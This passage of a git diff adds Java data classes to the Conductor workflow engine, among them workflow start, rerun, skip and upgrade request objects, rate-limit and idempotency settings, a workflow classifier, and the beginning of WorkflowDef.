a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/IdempotencyStrategy.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/IdempotencyStrategy.java new file mode 100644 index 0000000..a1dc436 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/IdempotencyStrategy.java @@ -0,0 +1,19 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +public enum IdempotencyStrategy { + FAIL, + RETURN_EXISTING, + FAIL_ON_RUNNING +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/RateLimitConfig.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/RateLimitConfig.java new file mode 100644 index 0000000..2d7c58c --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/RateLimitConfig.java @@ -0,0 +1,70 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +/** Rate limit configuration for workflows */ +@ProtoMessage +public class RateLimitConfig { + + /** Rate limit policy defining how to handle requests exceeding the limit */ + @ProtoEnum + public enum RateLimitPolicy { + /** Queue the request until capacity is available */ + QUEUE, + /** Reject the request immediately */ + REJECT + } + + /** + * Key that defines the rate limit. Rate limit key is a combination of workflow payload such as + * name, or correlationId etc. + */ + @ProtoField(id = 1) + private String rateLimitKey; + + /** Number of concurrently running workflows that are allowed per key */ + @ProtoField(id = 2) + private int concurrentExecLimit; + + /** Policy to apply when rate limit is exceeded */ + @ProtoField(id = 3) + private RateLimitPolicy policy = RateLimitPolicy.QUEUE; + + public String getRateLimitKey() { + return rateLimitKey; + } + + public void setRateLimitKey(String rateLimitKey) { + this.rateLimitKey = rateLimitKey; + } + + public int getConcurrentExecLimit() { + return concurrentExecLimit; + } + + public void setConcurrentExecLimit(int concurrentExecLimit) { + this.concurrentExecLimit = concurrentExecLimit; + } + + public RateLimitPolicy getPolicy() { + return policy; + } + + public void setPolicy(RateLimitPolicy policy) { + this.policy = policy; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/RerunWorkflowRequest.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/RerunWorkflowRequest.java new file mode 100644 index 0000000..82d8021 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/RerunWorkflowRequest.java @@ -0,0 +1,77 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +@ProtoMessage +public class RerunWorkflowRequest { + + @ProtoField(id = 1) + private String reRunFromWorkflowId; + + @ProtoField(id = 2) + private Map workflowInput; + + @ProtoField(id = 3) + private String reRunFromTaskId; + + @ProtoField(id = 4) + private Map taskInput; + + @ProtoField(id = 5) + private String correlationId; + + public String getReRunFromWorkflowId() { + return reRunFromWorkflowId; + } + + public void setReRunFromWorkflowId(String reRunFromWorkflowId) { + this.reRunFromWorkflowId = reRunFromWorkflowId; + } + + public Map getWorkflowInput() { + return workflowInput; + } + + public void setWorkflowInput(Map workflowInput) { + this.workflowInput = workflowInput; + } + + public String getReRunFromTaskId() { + return reRunFromTaskId; + } + + public void setReRunFromTaskId(String reRunFromTaskId) { + this.reRunFromTaskId = reRunFromTaskId; + } + + public Map getTaskInput() { + return taskInput; + } + + public void setTaskInput(Map taskInput) { + this.taskInput = taskInput; + } + + public String getCorrelationId() { + return correlationId; + } + + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/SkipTaskRequest.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/SkipTaskRequest.java new file mode 100644 index 0000000..42371c9 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/SkipTaskRequest.java @@ -0,0 +1,71 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +import com.google.protobuf.Any; +import io.swagger.v3.oas.annotations.Hidden; + +@ProtoMessage(toProto = false) +public class SkipTaskRequest { + + @ProtoField(id = 1) + private Map taskInput; + + @ProtoField(id = 2) + private Map taskOutput; + + @ProtoField(id = 3) + @Hidden + private Any taskInputMessage; + + @ProtoField(id = 4) + @Hidden + private Any taskOutputMessage; + + public Map getTaskInput() { + return taskInput; + } + + public void setTaskInput(Map taskInput) { + this.taskInput = taskInput; + } + + public Map getTaskOutput() { + return taskOutput; + } + + public void setTaskOutput(Map taskOutput) { + this.taskOutput = taskOutput; + } + + public Any getTaskInputMessage() { + return taskInputMessage; + } + + public void setTaskInputMessage(Any taskInputMessage) { + this.taskInputMessage = taskInputMessage; + } + + public Any getTaskOutputMessage() { + return taskOutputMessage; + } + + public void setTaskOutputMessage(Any taskOutputMessage) { + this.taskOutputMessage = taskOutputMessage; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/StartWorkflowRequest.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/StartWorkflowRequest.java new file mode 100644 index 0000000..9d76533 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/StartWorkflowRequest.java @@ -0,0 +1,197 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.HashMap; +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +import jakarta.validation.Valid; +import jakarta.validation.constraints.Max; +import jakarta.validation.constraints.Min; +import jakarta.validation.constraints.NotNull; + +@ProtoMessage +public class StartWorkflowRequest { + + @ProtoField(id = 1) + @NotNull(message = "Workflow name cannot be null or empty") + private String name; + + @ProtoField(id = 2) + private Integer version; + + @ProtoField(id = 3) + private String correlationId; + + @ProtoField(id = 4) + private Map input = new HashMap<>(); + + @ProtoField(id = 5) + private Map taskToDomain = new HashMap<>(); + + @ProtoField(id = 6) + @Valid + private WorkflowDef workflowDef; + + @ProtoField(id = 7) + private String externalInputPayloadStoragePath; + + @ProtoField(id = 8) + @Min(value = 0, message = "priority: ${validatedValue} should be minimum {value}") + @Max(value = 99, message = "priority: ${validatedValue} should be maximum {value}") + private Integer priority = 0; + + @ProtoField(id = 9) + private String createdBy; + + private String idempotencyKey; + + private IdempotencyStrategy idempotencyStrategy; + + public String getIdempotencyKey() { + return idempotencyKey; + } + + public void setIdempotencyKey(String idempotencyKey) { + this.idempotencyKey = idempotencyKey; + } + + public IdempotencyStrategy getIdempotencyStrategy() { + return idempotencyStrategy; + } + + public void setIdempotencyStrategy(IdempotencyStrategy idempotencyStrategy) { + this.idempotencyStrategy = idempotencyStrategy; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public StartWorkflowRequest withName(String name) { + this.name = name; + return this; + } + + public Integer getVersion() { + return version; + } + + public void setVersion(Integer version) { + this.version = version; + } + + public StartWorkflowRequest withVersion(Integer version) { + this.version = version; + return this; + } + + public String getCorrelationId() { + return correlationId; + } + + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } + + public StartWorkflowRequest withCorrelationId(String correlationId) { + this.correlationId = correlationId; + return this; + } + + public String getExternalInputPayloadStoragePath() { + return externalInputPayloadStoragePath; + } + + public void setExternalInputPayloadStoragePath(String externalInputPayloadStoragePath) { + this.externalInputPayloadStoragePath = externalInputPayloadStoragePath; + } + + public StartWorkflowRequest withExternalInputPayloadStoragePath( + String externalInputPayloadStoragePath) { + this.externalInputPayloadStoragePath = externalInputPayloadStoragePath; + return this; + } + + public Integer getPriority() { + return priority; + } + + public void setPriority(Integer priority) { + this.priority = priority; + } + + public StartWorkflowRequest withPriority(Integer priority) { + this.priority = priority; + return this; + } + + public Map getInput() { + return input; + } + + public void setInput(Map input) { + this.input = input; + } + + public StartWorkflowRequest withInput(Map input) { + this.input = input; + return this; + } + + public Map getTaskToDomain() { + return taskToDomain; + } + + public void setTaskToDomain(Map taskToDomain) { + this.taskToDomain = taskToDomain; + } + + public StartWorkflowRequest withTaskToDomain(Map taskToDomain) { + this.taskToDomain = taskToDomain; + return this; + } + + public WorkflowDef getWorkflowDef() { + return workflowDef; + } + + public void setWorkflowDef(WorkflowDef workflowDef) { + this.workflowDef = workflowDef; + } + + public StartWorkflowRequest withWorkflowDef(WorkflowDef workflowDef) { + this.workflowDef = workflowDef; + return this; + } + + public String getCreatedBy() { + return createdBy; + } + + public void setCreatedBy(String createdBy) { + this.createdBy = createdBy; + } + + public StartWorkflowRequest withCreatedBy(String createdBy) { + this.createdBy = createdBy; + return this; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/StateChangeEvent.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/StateChangeEvent.java new file mode 100644 index 0000000..fc0275a --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/StateChangeEvent.java @@ -0,0 +1,54 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +import jakarta.validation.Valid; +import jakarta.validation.constraints.NotNull; + +@Valid +@ProtoMessage +public class StateChangeEvent { + + @ProtoField(id = 1) + @NotNull + private String type; + + @ProtoField(id = 2) + private Map payload; + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public Map getPayload() { + return payload; + } + + public void setPayload(Map payload) { + this.payload = payload; + } + + @Override + public String toString() { + return "StateChangeEvent{" + "type='" + type + '\'' + ", payload=" + payload + '}'; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/SubWorkflowParams.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/SubWorkflowParams.java new file mode 100644 index 0000000..a7cebf4 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/SubWorkflowParams.java @@ -0,0 +1,201 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.Objects; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.utils.TaskUtils; + +import com.fasterxml.jackson.annotation.JsonGetter; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonSetter; + +@ProtoMessage +public class SubWorkflowParams { + + @ProtoField(id = 1) + private String name; + + @ProtoField(id = 2) + private Integer version; + + @ProtoField(id = 3) + private Map taskToDomain; + + // workaround as WorkflowDef cannot directly be used due to cyclic dependency issue in protobuf + // imports + @ProtoField(id = 4) + private Object workflowDefinition; + + private String idempotencyKey; + + private IdempotencyStrategy idempotencyStrategy; + + // Priority of the sub workflow, not set inherits from the parent + private Object priority; + + public String getIdempotencyKey() { + return idempotencyKey; + } + + public void setIdempotencyKey(String idempotencyKey) { + this.idempotencyKey = idempotencyKey; + } + + public IdempotencyStrategy getIdempotencyStrategy() { + return idempotencyStrategy; + } + + public void setIdempotencyStrategy(IdempotencyStrategy idempotencyStrategy) { + this.idempotencyStrategy = idempotencyStrategy; + } + + public Object getPriority() { + return priority; + } + + public void setPriority(Object priority) { + this.priority = priority; + } + + /** + * @return the name + */ + public String getName() { + if (workflowDefinition != null) { + if (workflowDefinition instanceof WorkflowDef) { + return ((WorkflowDef) workflowDefinition).getName(); + } + } + return name; + } + + /** + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * @return the version + */ + public Integer getVersion() { + if (workflowDefinition != null) { + if (workflowDefinition instanceof WorkflowDef) { + return ((WorkflowDef) workflowDefinition).getVersion(); + } + } + return version; + } + + /** + * @param version the version to set + */ + public void setVersion(Integer version) { + this.version = version; + } + + /** + * @return the taskToDomain + */ + public Map getTaskToDomain() { + return taskToDomain; + } + + /** + * @param taskToDomain the taskToDomain to set + */ + public void setTaskToDomain(Map taskToDomain) { + this.taskToDomain = taskToDomain; + } + + /** + * @return the workflowDefinition as an Object + */ + @JsonGetter("workflowDefinition") + public Object getWorkflowDefinition() { + return workflowDefinition; + } + + @Deprecated + @JsonIgnore + public void setWorkflowDef(WorkflowDef workflowDef) { + this.setWorkflowDefinition(workflowDef); + } + + @Deprecated + @JsonIgnore + public WorkflowDef getWorkflowDef() { + return (WorkflowDef) workflowDefinition; + } + + /** + * @param workflowDef the workflowDefinition to set + */ + @JsonSetter("workflowDefinition") + public void setWorkflowDefinition(Object workflowDef) { + if (workflowDef == null) { + this.workflowDefinition = workflowDef; + } else if (workflowDef instanceof WorkflowDef) { + this.workflowDefinition = workflowDef; + } else if (workflowDef instanceof String) { + if (!(((String) workflowDef).startsWith("${")) + || !(((String) workflowDef).endsWith("}"))) { + throw new IllegalArgumentException( + "workflowDefinition is a string, but not a valid DSL string"); + } else { + this.workflowDefinition = workflowDef; + } + } else if (workflowDef instanceof LinkedHashMap) { + this.workflowDefinition = TaskUtils.convertToWorkflowDef(workflowDef); + } else { + throw new IllegalArgumentException( + "workflowDefinition must be either null, or WorkflowDef, or a valid DSL string"); + } + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + SubWorkflowParams that = (SubWorkflowParams) o; + return Objects.equals(getName(), that.getName()) + && Objects.equals(getVersion(), that.getVersion()) + && Objects.equals(getTaskToDomain(), that.getTaskToDomain()) + && Objects.equals(getWorkflowDefinition(), that.getWorkflowDefinition()) + && Objects.equals(idempotencyKey, that.idempotencyKey) + && Objects.equals(idempotencyStrategy, that.idempotencyStrategy) + && Objects.equals(priority, that.priority); + } + + @Override + public int hashCode() { + return Objects.hash( + getName(), + getVersion(), + getTaskToDomain(), + getWorkflowDefinition(), + idempotencyKey, + idempotencyStrategy, + priority); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/UpgradeWorkflowRequest.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/UpgradeWorkflowRequest.java new file mode 100644 index 0000000..a33b168 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/UpgradeWorkflowRequest.java @@ -0,0 +1,69 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +import jakarta.validation.constraints.NotNull; + +@ProtoMessage +public class UpgradeWorkflowRequest { + + public Map getTaskOutput() { + return taskOutput; + } + + public void setTaskOutput(Map taskOutput) { + this.taskOutput = taskOutput; + } + + public Map getWorkflowInput() { + return workflowInput; + } + + public void setWorkflowInput(Map workflowInput) { + this.workflowInput = workflowInput; + } + + @ProtoField(id = 4) + private Map taskOutput; + + @ProtoField(id = 3) + private Map workflowInput; + + @ProtoField(id = 2) + private Integer version; + + @NotNull(message = "Workflow name cannot be null or empty") + @ProtoField(id = 1) + private String name; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public Integer getVersion() { + return version; + } + + public void setVersion(Integer version) { + this.version = version; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowClassifier.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowClassifier.java new file mode 100644 index 0000000..68836a4 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowClassifier.java @@ -0,0 +1,71 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.Map; + +/** + * Derives the classifier of a workflow definition from its {@code metadata} map. + * + *

The classifier is a tag used to distinguish kinds of definitions/executions: an untagged def + * is a plain workflow (classifier {@link #WORKFLOW}); AgentSpan-compiled defs are tagged + * {@link #AGENT}. The scheme is open-ended — a def may carry any explicit {@code + * metadata.classifier} value, enabling future kinds without schema/code changes. + * + *

Resolution order: + * + *

    + *
  1. explicit {@code metadata.classifier} (non-blank) — wins; + *
  2. otherwise {@code "agent"} when the AgentSpan stamp is present ({@code metadata.agent_sdk} + * or {@code metadata.agentDef}); + *
  3. otherwise {@code "workflow"} (a normal, untagged workflow). + *
+ * + *

Note: unlike the metadata map (where absence of a classifier simply means "plain workflow"), + * the resolved value is never {@code null} — untagged defs resolve to the literal {@link #WORKFLOW} + * token so that indexed executions can be filtered with plain equality across all index backends. + */ +public final class WorkflowClassifier { + + /** Classifier value for AgentSpan agent definitions/executions. */ + public static final String AGENT = "agent"; + + /** Classifier value for plain (untagged) workflow definitions/executions. */ + public static final String WORKFLOW = "workflow"; + + private static final String META_CLASSIFIER = "classifier"; + private static final String META_AGENT_SDK = "agent_sdk"; + private static final String META_AGENT_DEF = "agentDef"; + + private WorkflowClassifier() {} + + /** Returns the classifier for {@code def}, never {@code null}. */ + public static String classifierOf(WorkflowDef def) { + return def == null ? WORKFLOW : classifierOf(def.getMetadata()); + } + + /** Returns the classifier derived from a workflow def {@code metadata} map. */ + public static String classifierOf(Map metadata) { + if (metadata == null || metadata.isEmpty()) { + return WORKFLOW; + } + Object explicit = metadata.get(META_CLASSIFIER); + if (explicit instanceof String s && !s.isBlank()) { + return s; + } + if (metadata.get(META_AGENT_SDK) != null || metadata.get(META_AGENT_DEF) != null) { + return AGENT; + } + return WORKFLOW; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowDef.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowDef.java new file mode 100644 index 0000000..0eb55ac --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowDef.java @@ -0,0 +1,551 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.*; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.constraints.OwnerEmailMandatoryConstraint; +import com.netflix.conductor.common.constraints.TaskReferenceNameUniqueConstraint; +import com.netflix.conductor.common.constraints.ValidNameConstraint; +import com.netflix.conductor.common.metadata.Auditable; +import com.netflix.conductor.common.metadata.SchemaDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; + +import jakarta.validation.Valid; +import jakarta.validation.constraints.Max; +import jakarta.validation.constraints.Min; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; + +@ProtoMessage +@TaskReferenceNameUniqueConstraint +public class WorkflowDef extends Auditable { + + @NotEmpty(message = "WorkflowDef name cannot be null or empty") + @ProtoField(id = 1) + @ValidNameConstraint + private String name; + + @ProtoField(id = 2) + private String description; + + @ProtoField(id = 3) + private int version = 1; + + @ProtoField(id = 4) + @NotNull + @NotEmpty(message = "WorkflowTask list cannot be empty") + private List<@Valid WorkflowTask> tasks = new LinkedList<>(); + + @ProtoField(id = 5) + private List inputParameters = new LinkedList<>(); + + @ProtoField(id = 6) + private Map outputParameters = new HashMap<>(); + + @ProtoField(id = 7) + private String failureWorkflow; + + @ProtoField(id = 8) + @Min(value = 2, message = "workflowDef schemaVersion: {value} is only supported") + @Max(value = 2, message = "workflowDef schemaVersion: {value} is only supported") + private int schemaVersion = 2; + + // By default a workflow is restartable + @ProtoField(id = 9) + private boolean restartable = true; + + @ProtoField(id = 10) + private boolean workflowStatusListenerEnabled = false; + + @ProtoField(id = 11) + @OwnerEmailMandatoryConstraint + private String ownerEmail; + + @ProtoField(id = 12) + private TimeoutPolicy timeoutPolicy = TimeoutPolicy.ALERT_ONLY; + + @ProtoField(id = 13) + @NotNull + private long timeoutSeconds; + + @ProtoField(id = 14) + private Map variables = new HashMap<>(); + + @ProtoField(id = 15) + private Map inputTemplate = new HashMap<>(); + + @ProtoField(id = 16) + private Integer failureWorkflowVersion; + + @ProtoField(id = 17) + private String workflowStatusListenerSink; + + @ProtoField(id = 18) + private RateLimitConfig rateLimitConfig; + + @ProtoField(id = 19) + private SchemaDef inputSchema; + + @ProtoField(id = 20) + private SchemaDef outputSchema; + + @ProtoField(id = 21) + private boolean enforceSchema = true; + + @ProtoField(id = 22) + private Map metadata = new HashMap<>(); + + @ProtoField(id = 23) + private CacheConfig cacheConfig; + + @ProtoField(id = 24) + private List maskedFields = new ArrayList<>(); + + public static String getKey(String name, int version) { + return name + "." + version; + } + + public boolean isEnforceSchema() { + return enforceSchema; + } + + public void setEnforceSchema(boolean enforceSchema) { + this.enforceSchema = enforceSchema; + } + + /** + * @return the name + */ + public String getName() { + return name; + } + + /** + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * @return the description + */ + public String getDescription() { + return description; + } + + /** + * @param description the description to set + */ + public void setDescription(String description) { + this.description = description; + } + + /** + * @return the tasks + */ + public List getTasks() { + return tasks; + } + + /** + * @param tasks the tasks to set + */ + public void setTasks(List<@Valid WorkflowTask> tasks) { + this.tasks = tasks; + } + + /** + * @return the inputParameters + */ + public List getInputParameters() { + return inputParameters; + } + + /** + * @param inputParameters the inputParameters to set + */ + public void setInputParameters(List inputParameters) { + this.inputParameters = inputParameters; + } + + /** + * @return the outputParameters + */ + public Map getOutputParameters() { + return outputParameters; + } + + /** + * @param outputParameters the outputParameters to set + */ + public void setOutputParameters(Map outputParameters) { + this.outputParameters = outputParameters; + } + + /** + * @return the version + */ + public int getVersion() { + return version; + } + + /** + * @param version the version to set + */ + public void setVersion(int version) { + this.version = version; + } + + /** + * @return the failureWorkflow + */ + public String getFailureWorkflow() { + return failureWorkflow; + } + + /** + * @param failureWorkflow the failureWorkflow to set + */ + public void setFailureWorkflow(String failureWorkflow) { + this.failureWorkflow = failureWorkflow; + } + + /** + * Failure workflow version + * + * @return failureWorkflowVersion + */ + public Integer getFailureWorkflowVersion() { + return failureWorkflowVersion; + } + + /** + * Sets the failure workflow version + * + * @param failureWorkflowVersion + */ + public void setFailureWorkflowVersion(Integer failureWorkflowVersion) { + this.failureWorkflowVersion = failureWorkflowVersion; + } + + /** + * This method determines if the workflow is restartable or not + * + * @return true: if the workflow is restartable false: if the workflow is non restartable + */ + public boolean isRestartable() { + return restartable; + } + + /** + * This method is called only when the workflow definition is created + * + * @param restartable true: if the workflow is restartable false: if the workflow is non + * restartable + */ + public void setRestartable(boolean restartable) { + this.restartable = restartable; + } + + /** + * @return the schemaVersion + */ + public int getSchemaVersion() { + return schemaVersion; + } + + /** + * @param schemaVersion the schemaVersion to set + */ + public void setSchemaVersion(int schemaVersion) { + this.schemaVersion = schemaVersion; + } + + /** + * @return true is workflow listener will be invoked when workflow gets into a terminal state + */ + public boolean isWorkflowStatusListenerEnabled() { + return workflowStatusListenerEnabled; + } + + /** + * Specify if workflow listener is enabled to invoke a callback for completed or terminated + * workflows + * + * @param workflowStatusListenerEnabled + */ + public void setWorkflowStatusListenerEnabled(boolean workflowStatusListenerEnabled) { + this.workflowStatusListenerEnabled = workflowStatusListenerEnabled; + } + + /** + * @return the email of the owner of this workflow definition + */ + public String getOwnerEmail() { + return ownerEmail; + } + + /** + * @param ownerEmail the owner email to set + */ + public void setOwnerEmail(String ownerEmail) { + this.ownerEmail = ownerEmail; + } + + /** + * @return the timeoutPolicy + */ + public TimeoutPolicy getTimeoutPolicy() { + return timeoutPolicy; + } + + /** + * @param timeoutPolicy the timeoutPolicy to set + */ + public void setTimeoutPolicy(TimeoutPolicy timeoutPolicy) { + this.timeoutPolicy = timeoutPolicy; + } + + /** + * @return the time after which a workflow is deemed to have timed out + */ + public long getTimeoutSeconds() { + return timeoutSeconds; + } + + /** + * @param timeoutSeconds the timeout in seconds to set + */ + public void setTimeoutSeconds(long timeoutSeconds) { + this.timeoutSeconds = timeoutSeconds; + } + + /** + * @return the global workflow variables + */ + public Map getVariables() { + return variables; + } + + /** + * @param variables the set of global workflow variables to set + */ + public void setVariables(Map variables) { + this.variables = variables; + } + + public Map getInputTemplate() { + return inputTemplate; + } + + public void setInputTemplate(Map inputTemplate) { + this.inputTemplate = inputTemplate; + } + + public String key() { + return getKey(name, version); + } + + public String getWorkflowStatusListenerSink() { + return workflowStatusListenerSink; + } + + public void setWorkflowStatusListenerSink(String workflowStatusListenerSink) { + this.workflowStatusListenerSink = workflowStatusListenerSink; + } + + public RateLimitConfig getRateLimitConfig() { + return rateLimitConfig; + } + + public void setRateLimitConfig(RateLimitConfig rateLimitConfig) { + this.rateLimitConfig = rateLimitConfig; + } + + public SchemaDef getInputSchema() { + return inputSchema; + } + + public void setInputSchema(SchemaDef inputSchema) { + this.inputSchema = inputSchema; + } + + public SchemaDef getOutputSchema() { + return outputSchema; + } + + public void setOutputSchema(SchemaDef outputSchema) { + this.outputSchema = outputSchema; + } + + public Map getMetadata() { + return metadata; + } + + public void setMetadata(Map metadata) { + this.metadata = metadata; + } + + public CacheConfig getCacheConfig() { + return cacheConfig; + } + + public void setCacheConfig(final CacheConfig cacheConfig) { + this.cacheConfig = cacheConfig; + } + + public List getMaskedFields() { + return maskedFields; + } + + public void setMaskedFields(List maskedFields) { + this.maskedFields = maskedFields; + } + + public boolean containsType(String taskType) { + return collectTasks().stream().anyMatch(t -> t.getType().equals(taskType)); + } + + public WorkflowTask getNextTask(String taskReferenceName) { + WorkflowTask workflowTask = getTaskByRefName(taskReferenceName); + if (workflowTask != null && TaskType.TERMINATE.name().equals(workflowTask.getType())) { + return null; + } + + Iterator iterator = 